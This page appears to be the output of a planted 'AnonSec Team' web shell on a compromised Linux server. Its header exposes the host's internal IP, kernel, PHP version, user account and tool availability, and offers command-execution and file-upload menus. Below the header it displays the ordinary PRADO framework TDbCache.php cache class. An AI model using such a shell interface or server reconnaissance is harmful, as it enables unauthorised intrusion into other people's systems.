AnonSec Team
Server IP : 10.2.73.233  /  Your IP : 216.73.216.223
Web Server : Apache/2.4.59 (Debian)
System : Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
User : www-data ( 33)
PHP Version : 5.6.40-64+0~20230107.71+debian10~1.gbp673146
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/ifk/web/prado4.3.2/Caching/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/ifk/web/prado4.3.2/Caching/TDbCache.php
<?php
/**
 * TDbCache class file
 *
 * @author Qiang Xue <qiang.xue@gmail.com>
 * @link https://github.com/pradosoft/prado
 * @license https://github.com/pradosoft/prado/blob/master/LICENSE
 */

namespace Prado\Caching;

use Prado\Prado;
use Prado\Data\TDataSourceConfig;
use Prado\Data\TDbConnection;
use Prado\Exceptions\TConfigurationException;
use Prado\TPropertyValue;
use Prado\Util\Cron\TCronTaskInfo;

/**
 * TDbCache class
 *
 * TDbCache implements a cache application module by storing cached data in a database.
 *
 * TDbCache relies on {@link http://www.php.net/manual/en/ref.pdo.php PDO} to retrieve
 * data from databases. In order to use TDbCache, you need to enable the PDO extension
 * as well as the corresponding PDO DB driver. For example, to use SQLite database
 * to store cached data, you need both php_pdo and php_pdo_sqlite extensions.
 *
 * By default, TDbCache creates and uses an SQLite database under the application
 * runtime directory. You may change this default setting by specifying the following
 * properties:
 * - {@link setConnectionID ConnectionID} or
 * - {@link setConnectionString ConnectionString}, {@link setUsername Username} and {@link setPassword Pasword}.
 *
 * The cached data is stored in a table in the specified database.
 * By default, the name of the table is called 'pradocache'. If the table does not
 * exist in the database, it will be automatically created with the following structure:
 * <code>
 * CREATE TABLE pradocache (itemkey CHAR(128), value BLOB, expire INT)
 * CREATE INDEX IX_itemkey ON pradocache (itemkey)
 * CREATE INDEX IX_expire ON pradocache (expire)
 * </code>
 *
 * Note, some DBMS might not support BLOB type. In this case, replace 'BLOB' with a suitable
 * binary data type (e.g. LONGBLOB in MySQL, BYTEA in PostgreSQL.)
 *
 * Important: Make sure that the indices are non-unique!
 *
 * If you want to change the cache table name, or if you want to create the table by yourself,
 * you may set {@link setCacheTableName CacheTableName} and {@link setAutoCreateCacheTable AutoCreateCacheTableName} properties.
 *
 * {@link setFlushInterval FlushInterval} control how often expired items will be removed from cache.
 * If you prefer to remove expired items manualy e.g. via cronjob you can disable automatic deletion by setting FlushInterval to '0'.
 *
 * The following basic cache operations are implemented:
 * - {@link get} : retrieve the value with a key (if any) from cache
 * - {@link set} : store the value with a key into cache
 * - {@link add} : store the value only if cache does not have this key
 * - {@link delete} : delete the value with the specified key from cache
 * - {@link flush} : delete all values from cache
 *
 * Each value is associated with an expiration time. The {@link get} operation
 * ensures that any expired value will not be returned. The expiration time by
 * the number of seconds. A expiration time 0 represents never expire.
 *
 * By definition, cache does not ensure the existence of a value
 * even if it never expires. Cache is not meant to be an persistent storage.
 *
 * Do not use the same database file for multiple applications using TDbCache.
 * Also note, cache is shared by all user sessions of an application.
 *
 * Some usage examples of TDbCache are as follows,
 * <code>
 * $cache=new TDbCache;  // TDbCache may also be loaded as a Prado application module
 * $cache->init(null);
 * $cache->add('object',$object);
 * $object2=$cache->get('object');
 * </code>
 *
 * If loaded, TDbCache will register itself with {@link TApplication} as the
 * cache module. It can be accessed via {@link TApplication::getCache()}.
 *
 * TDbCache may be configured in application configuration file as follows
 * <code>
 * <module id="cache" class="Prado\Caching\TDbCache" />
 * </code>
 *
 * @author Qiang Xue <qiang.xue@gmail.com>
 * @since 3.1.0
 */
class TDbCache extends TCache implements \Prado\Util\IDbModule
{
	/**
	 * @var string the ID of TDataSourceConfig module
	 */
	private $_connID = '';
	/**
	 * @var TDbConnection the DB connection instance
	 */
	private $_db;
	/**
	 * @var string name of the DB cache table
	 */
	private $_cacheTable = 'pradocache';
	/**
	 * @var int Interval expired items will be removed from cache
	 */
	private $_flushInterval = 60;
	/**
	 * @var bool
	 */
	private $_cacheInitialized = false;
	/**
	 * @var bool
	 */
	private $_createCheck = false;
	/**
	 * @var bool whether the cache DB table should be created automatically
	 */
	private $_autoCreate = true;
	private $_username = '';
	private $_password = '';
	private $_connectionString = '';

	/**
	 * Destructor.
	 * Disconnect the db connection.
	 */
	public function __destruct()
	{
		if ($this->_db !== null) {
			$this->_db->setActive(false);
		}
		parent::__destruct();
	}

	/**
	 * Initializes this module.
	 * This method is required by the IModule interface.
	 * attach {@link doInitializeCache} to TApplication.OnLoadStateComplete event
	 * attach {@link doFlushCacheExpired} to TApplication.OnSaveState event
	 * @param \Prado\Xml\TXmlElement $config configuration for this module, can be null
	 */
	public function init($config)
	{
		$this->getApplication()->attachEventHandler('OnLoadStateComplete', [$this, 'doInitializeCache']);
		$this->getApplication()->attachEventHandler('OnSaveState', [$this, 'doFlushCacheExpired']);
		parent::init($config);
	}

	/**
	 * Event listener for TApplication.OnSaveState
	 * @since 3.1.5
	 * @see flushCacheExpired
	 */
	public function doFlushCacheExpired()
	{
		$this->flushCacheExpired(false);
	}

	/**
	 * Event listener for TApplication.OnLoadStateComplete
	 *
	 * @since 3.1.5
	 * @see initializeCache
	 */
	public function doInitializeCache()
	{
		$this->initializeCache();
	}

	/**
	 * Initialize TDbCache
	 *
	 * If {@link setAutoCreateCacheTable AutoCreateCacheTableName} is 'true' check existence of cache table
	 * and create table if does not exist.
	 *
	 * @param bool $force Force override global state check
	 * @throws TConfigurationException if any error happens during creating database or cache table.
	 * @since 3.1.5
	 */
	protected function initializeCache($force = false)
	{
		if ($this->_cacheInitialized && !$force) {
			return;
		}
		$db = $this->getDbConnection();
		try {
			$key = 'TDbCache:' . $this->_cacheTable . ':created';
			if ($force) {
				$this->_createCheck = false;
			} else {
				$this->_createCheck = $this->getApplication()->getGlobalState($key, 0);
			}

			if ($this->_autoCreate && !$this->_createCheck) {
				Prado::trace(($force ? 'Force initializing: ' : 'Initializing: ') . $this->_connID . ', ' . $this->_cacheTable, '\Prado\Caching\TDbCache');

				$sql = 'SELECT 1 FROM ' . $this->_cacheTable . ' WHERE 0=1';
				$db->createCommand($sql)->queryScalar();

				$this->_createCheck = true;
				$this->getApplication()->setGlobalState($key, time());
			}
		} catch (\Exception $e) {
			// DB table not exists
			if ($this->_autoCreate) {
				Prado::trace('Autocreate: ' . $this->_cacheTable, '\Prado\Caching\TDbCache');

				$driver = $db->getDriverName();
				if ($driver === 'mysql') {
					$blob = 'LONGBLOB';
				} elseif ($driver === 'pgsql') {
					$blob = 'BYTEA';
				} else {
					$blob = 'BLOB';
				}

				$sql = 'CREATE TABLE ' . $this->_cacheTable . " (itemkey CHAR(128) PRIMARY KEY, value $blob, expire INTEGER)";
				$db->createCommand($sql)->execute();

				$sql = 'CREATE INDEX IX_expire ON ' . $this->_cacheTable . ' (expire)';
				$db->createCommand($sql)->execute();

				$this->_createCheck = true;
				$this->getApplication()->setGlobalState($key, time());
			} else {
				throw new TConfigurationException('db_cachetable_inexistent', $this->_cacheTable);
			}
		}
		$this->_cacheInitialized = true;
	}

	/**
	 * Flush expired values from cache depending on {@link setFlushInterval FlushInterval}
	 * @param bool $force override {@link setFlushInterval FlushInterval} and force deletion of expired items
	 * @since 3.1.5
	 */
	public function flushCacheExpired($force = false)
	{
		$interval = $this->getFlushInterval();
		if (!$force && $interval === 0) {
			return;
		}

		$key = 'TDbCache:' . $this->_cacheTable . ':flushed';
		$now = time();
		$next = $interval + (int) $this->getApplication()->getGlobalState($key, 0);

		if ($force || $next <= $now) {
			if (!$this->_cacheInitialized) {
				$this->initializeCache();
			}
			Prado::trace(($force ? 'Force flush of expired items: ' : 'Flush expired items: ') . $this->_connID . ', ' . $this->_cacheTable, '\Prado\Caching\TDbCache');
			$sql = 'DELETE FROM ' . $this->_cacheTable . ' WHERE expire<>0 AND expire<' . $now;
			$this->getDbConnection()->createCommand($sql)->execute();
			$this->getApplication()->setGlobalState($key, $now);
		}
	}

	/**
	 * @param object $sender the object raising fxGetCronTaskInfos.
	 * @param mixed $param the parameter
	 * @since 4.2.0
	 */
	public function fxGetCronTaskInfos($sender, $param)
	{
		return new TCronTaskInfo('dbcacheflushexpired', $this->getId() . '->flushCacheExpired(true)', $this, Prado::localize('DbCache Flush Expired Keys'), Prado::localize('This manually clears out the expired keys of TDbCache.'));
	}

	/**
	 * @return int Interval in sec expired items will be removed from cache. Default to 60
	 * @since 3.1.5
	 */
	public function getFlushInterval()
	{
		return $this->_flushInterval;
	}

	/**
	 * Sets interval expired items will be removed from cache
	 *
	 * To disable automatic deletion of expired items,
	 * e.g. for external flushing via cron you can set value to '0'
	 *
	 * @param int $value Interval in sec
	 * @since 3.1.5
	 */
	public function setFlushInterval($value)
	{
		$this->_flushInterval = (int) $value;
	}

	/**
	 * Creates the DB connection.
	 * @throws TConfigurationException if module ID is invalid or empty
	 * @return \Prado\Data\TDbConnection the created DB connection
	 */
	protected function createDbConnection()
	{
		if ($this->_connID !== '') {
			$config = $this->getApplication()->getModule($this->_connID);
			if ($config instanceof TDataSourceConfig) {
				return $config->getDbConnection();
			} else {
				throw new TConfigurationException('dbcache_connectionid_invalid', $this->_connID);
			}
		} else {
			$db = new TDbConnection();
			if ($this->_connectionString !== '') {
				$db->setConnectionString($this->_connectionString);
				if ($this->_username !== '') {
					$db->setUsername($this->_username);
				}
				if ($this->_password !== '') {
					$db->setPassword($this->_password);
				}
			} else {
				// default to SQLite3 database
				$dbFile = $this->getApplication()->getRuntimePath() . '/sqlite3.cache';
				$db->setConnectionString('sqlite:' . $dbFile);
			}
			return $db;
		}
	}

	/**
	 * @return \Prado\Data\TDbConnection the DB connection instance
	 */
	public function getDbConnection()
	{
		if ($this->_db === null) {
			$this->_db = $this->createDbConnection();
		}

		$this->_db->setActive(true);
		return $this->_db;
	}

	/**
	 * @return string the ID of a {@link TDataSourceConfig} module. Defaults to empty string, meaning not set.
	 * @since 3.1.1
	 */
	public function getConnectionID()
	{
		return $this->_connID;
	}

	/**
	 * Sets the ID of a TDataSourceConfig module.
	 * The datasource module will be used to establish the DB connection for this cache module.
	 * The database connection can also be specified via {@link setConnectionString ConnectionString}.
	 * When both ConnectionID and ConnectionString are specified, the former takes precedence.
	 * @param string $value ID of the {@link TDataSourceConfig} module
	 * @since 3.1.1
	 */
	public function setConnectionID($value)
	{
		$this->_connID = $value;
	}

	/**
	 * @return string The Data Source Name, or DSN, contains the information required to connect to the database.
	 */
	public function getConnectionString()
	{
		return $this->_connectionString;
	}

	/**
	 * @param string $value The Data Source Name, or DSN, contains the information required to connect to the database.
	 * @see http://www.php.net/manual/en/function.pdo-construct.php
	 */
	public function setConnectionString($value)
	{
		$this->_connectionString = $value;
	}

	/**
	 * @return string the username for establishing DB connection. Defaults to empty string.
	 */
	public function getUsername()
	{
		return $this->_username;
	}

	/**
	 * @param string $value the username for establishing DB connection
	 */
	public function setUsername($value)
	{
		$this->_username = $value;
	}

	/**
	 * @return string the password for establishing DB connection. Defaults to empty string.
	 */
	public function getPassword()
	{
		return $this->_password;
	}

	/**
	 * @param string $value the password for establishing DB connection
	 */
	public function setPassword($value)
	{
		$this->_password = $value;
	}

	/**
	 * @return string the name of the DB table to store cache content. Defaults to 'pradocache'.
	 * @see setAutoCreateCacheTable
	 */
	public function getCacheTableName()
	{
		return $this->_cacheTable;
	}

	/**
	 * Sets the name of the DB table to store cache content.
	 * Note, if {@link setAutoCreateCacheTable AutoCreateCacheTable} is false
	 * and you want to create the DB table manually by yourself,
	 * you need to make sure the DB table is of the following structure:
	 * <code>
	 * CREATE TABLE pradocache (itemkey CHAR(128), value BLOB, expire INT)
	 * CREATE INDEX IX_itemkey ON pradocache (itemkey)
	 * CREATE INDEX IX_expire ON pradocache (expire)
	 * </code>
	 *
	 * Note, some DBMS might not support BLOB type. In this case, replace 'BLOB' with a suitable
	 * binary data type (e.g. LONGBLOB in MySQL, BYTEA in PostgreSQL.)
	 *
	 * Important: Make sure that the indices are non-unique!
	 *
	 * @param string $value the name of the DB table to store cache content
	 * @see setAutoCreateCacheTable
	 */
	public function setCacheTableName($value)
	{
		$this->_cacheTable = $value;
	}

	/**
	 * @return bool whether the cache DB table should be automatically created if not exists. Defaults to true.
	 * @see setAutoCreateCacheTable
	 */
	public function getAutoCreateCacheTable()
	{
		return $this->_autoCreate;
	}

	/**
	 * @param bool $value whether the cache DB table should be automatically created if not exists.
	 * @see setCacheTableName
	 */
	public function setAutoCreateCacheTable($value)
	{
		$this->_autoCreate = TPropertyValue::ensureBoolean($value);
	}

	/**
	 * Retrieves a value from cache with a specified key.
	 * This is the implementation of the method declared in the parent class.
	 * @param string $key a unique key identifying the cached value
	 * @return false|string the value stored in cache, false if the value is not in the cache or expired.
	 */
	protected function getValue($key)
	{
		if (!$this->_cacheInitialized) {
			$this->initializeCache();
		}

		$sql = 'SELECT value FROM ' . $this->_cacheTable . ' WHERE itemkey=\'' . $key . '\' AND (expire=0 OR expire>' . time() . ') ORDER BY expire DESC';
		$command = $this->getDbConnection()->createCommand($sql);
		try {
			return unserialize($command->queryScalar());
		} catch (\Exception $e) {
			$this->initializeCache(true);
			return unserialize($command->queryScalar());
		}
	}

	/**
	 * Stores a value identified by a key in cache.
	 * This is the implementation of the method declared in the parent class.
	 *
	 * @param string $key the key identifying the value to be cached
	 * @param string $value the value to be cached
	 * @param int $expire the number of seconds in which the cached value will expire. 0 means never expire.
	 * @return bool true if the value is successfully stored into cache, false otherwise
	 */
	protected function setValue($key, $value, $expire)
	{
		$this->deleteValue($key);
		return $this->addValue($key, $value, $expire);
	}

	/**
	 * Stores a value identified by a key into cache if the cache does not contain this key.
	 * This is the implementation of the method declared in the parent class.
	 *
	 * @param string $key the key identifying the value to be cached
	 * @param string $value the value to be cached
	 * @param int $expire the number of seconds in which the cached value will expire. 0 means never expire.
	 * @return bool true if the value is successfully stored into cache, false otherwise
	 */
	protected function addValue($key, $value, $expire)
	{
		if (!$this->_cacheInitialized) {
			$this->initializeCache();
		}
		$expire = ($expire <= 0) ? 0 : time() + $expire;
		$sql = "INSERT INTO {$this->_cacheTable} (itemkey,value,expire) VALUES(:key,:value,$expire)";
		$command = $this->getDbConnection()->createCommand($sql);
		$command->bindValue(':key', $key, \PDO::PARAM_STR);
		$command->bindValue(':value', serialize($value), \PDO::PARAM_LOB);

		try {
			$command->execute();
			return true;
		} catch (\Exception $e) {
			try {
				$this->initializeCache(true);
				$command->execute();
				return true;
			} catch (\Exception $e) {
				return false;
			}
		}
	}

	/**
	 * Deletes a value with the specified key from cache
	 * This is the implementation of the method declared in the parent class.
	 * @param string $key the key of the value to be deleted
	 * @return bool if no error happens during deletion
	 */
	protected function deleteValue($key)
	{
		if (!$this->_cacheInitialized) {
			$this->initializeCache();
		}

		$command = $this->getDbConnection()->createCommand("DELETE FROM {$this->_cacheTable} WHERE itemkey=:key");
		$command->bindValue(':key', $key, \PDO::PARAM_STR);
		try {
			$command->execute();
			return true;
		} catch (\Exception $e) {
			$this->initializeCache(true);
			$command->execute();
			return true;
		}
	}

	/**
	 * Deletes all values from cache.
	 * Be careful of performing this operation if the cache is shared by multiple applications.
	 * @return bool if no error happens during flush
	 */
	public function flush()
	{
		if (!$this->_cacheInitialized) {
			$this->initializeCache();
		}
		$command = $this->getDbConnection()->createCommand("DELETE FROM {$this->_cacheTable}");
		try {
			$command->execute();
		} catch (\Exception $e) {
			try {
				$this->initializeCache(true);
				$command->execute();
				return true;
			} catch (\Exception $e) {
				return false;
			}
		}
		return true;
	}
}

AnonSec - 2021